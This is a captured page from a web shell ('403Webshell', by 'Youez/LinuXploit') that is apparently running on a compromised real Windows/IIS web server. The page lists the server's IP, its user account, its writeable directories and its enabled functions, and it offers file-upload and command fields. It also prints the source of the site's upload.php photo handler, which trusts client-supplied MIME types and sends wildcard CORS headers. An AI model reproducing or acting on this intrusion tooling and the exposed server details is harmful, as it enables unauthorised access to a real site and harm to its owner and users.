403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpalamerica/upload/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/penpalamerica.com/wwwroot/penpalamerica/upload/php/upload.php
<?php


if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    header('Access-Control-Allow-Origin : *');
    header('Access-Control-Allow-Methods : POST, GET, OPTIONS, PUT, DELETE');
    header('Access-Control-Allow-Headers : *');
    exit;
}


// Check if the form was submitted
//echo  $_FILES["photo"]["name"]; 
$response = array();
if($_SERVER["REQUEST_METHOD"] == "POST"){

    // Check if file was uploaded without errors
    if(isset($_FILES["photo"]) && $_FILES["photo"]["error"] == 0){
//echo "osa";
      
        $allowed = array("mp4" => "video/mp4",
			"jpeg" => "image/jpeg", 
			"jpg" => "image/jpeg",
			"pjpeg" => "image/pjpeg",
			"png" => "image/png");
       // $filename =
        $filename =  $_FILES["photo"]["name"];
        $filetype = $_FILES["photo"]["type"];
        $filesize = $_FILES["photo"]["size"];
         
        // Verify file extension
        $ext = pathinfo($filename, PATHINFO_EXTENSION);
       //echo $_FILES["photo"]["type"];
      // echo $ext;
//die();
	
        if(!array_key_exists($ext, $allowed)) {
            $response[0] = [
                'errorNo' => "3",
                   'message' => "Error: Please select a valid file format."
               ];
               echo json_encode($response);
               die();
        }
    
        // Verify file size - 5MB maximum
         $maxsize = 1 * 1024 * 1024;
        if($ext == "png" || $ext == "jpeg" || $ext == "jpg"){
		$maxsize = 3 * 1024 * 1024;
	}
         if($ext == "mp4"){
		$maxsize = 20 * 1024 * 1024;
	}
       
        if($filesize > $maxsize){
            $response[0] = [
                'errorNo' => "1",
                   'message' => "File size is larger than the allowed limit."
               ];
               echo json_encode($response);
               die();
        } 
    
        // Verify MYME type of the file
        if(in_array($filetype, $allowed)){
            // Check whether file exists before uploading it
            if(file_exists("upload/" . $filename)){
        
                $response[0] = [
                    'errorNo' => "2",
                       'message' => $filename . " is already exists."
                   ];
                   echo json_encode($response);
                   die();
                
            } else{
                $tempfilename = time() . '_' .  uniqid(rand(), true);
                $tempfilename = str_replace('.', '', $tempfilename);
 		$filename_unique = $tempfilename . '.'.$ext;
                move_uploaded_file($_FILES["photo"]["tmp_name"], "upload/" . $filename_unique);
               // echo "Your file was uploaded successfully."
               //echo "File Name: " . $_FILES["photo"]["name"] . "<br>";
    		   //echo "File Type: " . $_FILES["photo"]["type"] . "<br>";
    		  //echo "File Size: " . ($_FILES["photo"]["size"] / 1024) . " KB<br>";
    		  //echo "Stored in: " . $_FILES["photo"]["tmp_name"];
		        $file_url ="https://penpalamerica.com/penpal/upload/php/upload/".$filename_unique;
                 $response[0] = array(
                 'errorNo' => "0",
	                'message' => $file_url
                );
                echo json_encode($response);
		//echo 
                die();

                 
		//echo "<p><a href='$file_url'>View</a></p>";

            } 
        } else{
            $response[0] = [
                'errorNo' => "4",
                   'message' =>  "Error: There was a problem uploading your file. Please try again."
               ];
               echo json_encode($response);
               die();
        }
    } else{
        $response[0] = [
            'errorNo' => "5",
               'message' =>  "Error: " . $_FILES["photo"]["error"]
           ];
           echo json_encode($response);
           die();
       
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit